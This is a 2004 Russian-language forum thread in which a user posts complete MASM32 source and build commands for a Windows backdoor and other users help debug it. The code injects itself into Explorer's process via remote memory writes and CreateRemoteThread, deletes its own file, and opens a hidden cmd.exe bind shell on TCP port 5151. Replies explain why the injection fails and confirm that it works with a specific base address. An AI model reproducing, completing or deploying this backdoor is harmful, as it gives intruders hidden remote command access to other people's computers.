|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Апр 2, 2004 14:56:06.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\wsock32.inc
includelib \masm32\lib\wsock32.lib
.data
szTarget byte 'Shell_TrayWnd', 0
szUser32 byte 'user32.dll', 0
szWinsock byte 'wsock32.dll', 0
szCommandLine byte 'cmd.exe', 0
szSharedData byte 261 dup (0)
.data?
hModule dword ?
hNewModule dword ?
hProcess dword ?
dwSize dword ?
dwPid dword ?
dwBytesWritten dword ?
dwTid dword ?
WSAData WSADATA <>
.code
ShellClient proc dwSock:dword
local sat:SECURITY_ATTRIBUTES
local hiRead:dword
local hoRead:dword
local hiWrite:dword
local hoWrite:dword
local startupinfo:STARTUPINFO
local processinfo:PROCESS_INFORMATION
local exitcode:dword
local buffer[1024]:byte
local bytes:dword
local available:dword
local data:dword
mov sat.nLength, sizeof SECURITY_ATTRIBUTES
mov sat.lpSecurityDescriptor, 0
mov sat.bInheritHandle, TRUE
invoke CreatePipe, addr hiRead, addr hiWrite, addr sat, 0
invoke CreatePipe, addr hoRead, addr hoWrite, addr sat, 0
invoke GetStartupInfo, addr startupinfo
mov startupinfo.cb, sizeof STARTUPINFO
mov eax, hoWrite
mov startupinfo.hStdOutput, eax
mov startupinfo.hStdError, eax
mov eax, hiRead
mov startupinfo.hStdInput, eax
mov startupinfo.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES
mov startupinfo.wShowWindow, SW_HIDE
invoke CreateProcess, 0, addr szCommandLine, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0, 0, addr startupinfo, addr processinfo
invoke CloseHandle, hoWrite
invoke CloseHandle, hiRead
mov bytes, 1
invoke ioctlsocket, dwSock, FIONBIO, addr bytes
.while TRUE
invoke Sleep, 1
invoke GetExitCodeProcess, processinfo.hProcess, addr exitcode
.if exitcode != STILL_ACTIVE
.break
.endif
invoke PeekNamedPipe, hoRead, addr buffer, 1024, addr bytes, addr available, 0
.if bytes != 0
.if available > 1024
.while bytes >= 1024
invoke Sleep, 1
invoke ReadFile, hoRead, addr buffer, 1024, addr bytes, 0
.if bytes != 0
invoke send, dwSock, addr buffer, bytes, 0
.endif
.endw
.else
invoke ReadFile, hoRead, addr buffer, 1024, addr bytes, 0
.if bytes != 0
invoke send, dwSock, addr buffer, bytes, 0
.endif
.endif
.endif
invoke recv, dwSock, addr buffer, 1024, 0
.if eax == SOCKET_ERROR || eax == 0
invoke WSAGetLastError
.if eax == WSAEWOULDBLOCK
.continue
.else
invoke TerminateProcess, processinfo.hProcess, 0
.break
.endif
.else
mov edx, eax
invoke WriteFile, hiWrite, addr buffer, edx, addr bytes, 0
.endif
.endw
invoke CloseHandle, hiWrite
invoke CloseHandle, hoRead
invoke closesocket, dwSock
ret
ShellClient endp
Shelld proc
local SockAddrIn:sockaddr_in
local dwSock:dword
local dwMode:dword
invoke DeleteFile, addr szSharedData
invoke LoadLibrary, addr szUser32
invoke LoadLibrary, addr szWinsock
invoke WSAStartup, 101h, addr WSAData
invoke socket, PF_INET, SOCK_STREAM, 0
mov dwSock, eax
mov SockAddrIn.sin_family, AF_INET
invoke htons, 5151
mov SockAddrIn.sin_port, ax
mov SockAddrIn.sin_addr, INADDR_ANY
invoke bind, dwSock, addr SockAddrIn, sizeof SockAddrIn
mov dwMode, 1
invoke ioctlsocket, dwSock, FIONBIO, addr dwMode
invoke listen, dwSock, SOMAXCONN
@@:
invoke accept, dwSock, addr SockAddrIn, 0
.if eax != INVALID_SOCKET
mov edx, eax
invoke CreateThread, 0, 0, addr ShellClient, edx, 0, 0
invoke CloseHandle, eax
.endif
invoke Sleep, 1000
jmp @B
ret
Shelld endp
start:
invoke GetModuleHandle, 0
mov hModule, eax
mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage
mov dwSize, eax
assume edi:NOTHING
invoke GetModuleFileName, 0, addr szSharedData, 261
invoke FindWindow, addr szTarget, 0
invoke GetWindowThreadProcessId, eax, addr dwPid
invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, dwPid
mov hProcess, eax
invoke VirtualFreeEx, hProcess, hModule, 0, MEM_RELEASE
invoke VirtualAllocEx, hProcess, hModule, dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
mov hNewModule, eax
invoke WriteProcessMemory, hProcess, hNewModule, hModule, dwSize, addr dwBytesWritten
invoke CreateRemoteThread, hProcess, 0, 0, addr Shelld, hModule, 0, addr dwTid
invoke ExitProcess, 0
end start
c:\masm32\bin\ml /c /coff backdoor.asm c:\masm32\bin\link /base:0x13140000 /filealign:0x200 /merge:.data=.text /section:.text,RWX /subsystem:windows /libpath:\masm32\lib backdoor.obj у меня после запуска - винды закосячились :D и я не могу понять почему? |
|
|
Дата: Апр 2, 2004 19:40:49 /base:0x13140000...... А если не баловаться с секциями, то работает? |
|
|
Дата: Апр 2, 2004 19:51:41 S_T_A_S_ не пробовал. после формата ц, я боюсь чё-нить трогать :}} |
|
|
Дата: Апр 5, 2004 11:08:06 неужели не кто не подскажет, что делать ? |
|
|
Дата: Апр 6, 2004 03:42:39 Flasher Например, проверять успешно ли завершаются вызовы api. |
|
|
Дата: Апр 6, 2004 13:44:00 Flasher после формата ц NTFS? что делать ? Я бы убрал опции линкера и посмотрел, как это все это работает в отладчике. Не надо ожидать, что все сразу заработает. Отлаживайте частями. |
|
|
Дата: Апр 7, 2004 11:53:49 S_T_A_S_ FAT32 я убирал - почему-то explorer перезагружает и сё, больше нечего не происходит. с кодом bindshell'a - разобрался, но не совсем понимаю остальное. Если не трудно, не могли бы прокоментировать действия от Start: до end start |
|
|
Дата: Апр 7, 2004 22:22:59 FAT32 Я имел ввиду поставить NTFS почему-то explorer перезагружает и сё, больше нечего не происходит. В этом случае не срабатывает VirtualAllocEx и дальше, т.к. IMAGE_BASE=400000h у целевого процесса и у backdoor. И попытка CreateRemoteThread запускает неизвестно что. А вот - винды закосячились :D и я не могу понять почему Поставил invoke MessageBeep,MB_OK в Shelld proc - пикает, и свой файл удаляет. При /base:0x13140000. |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.057 |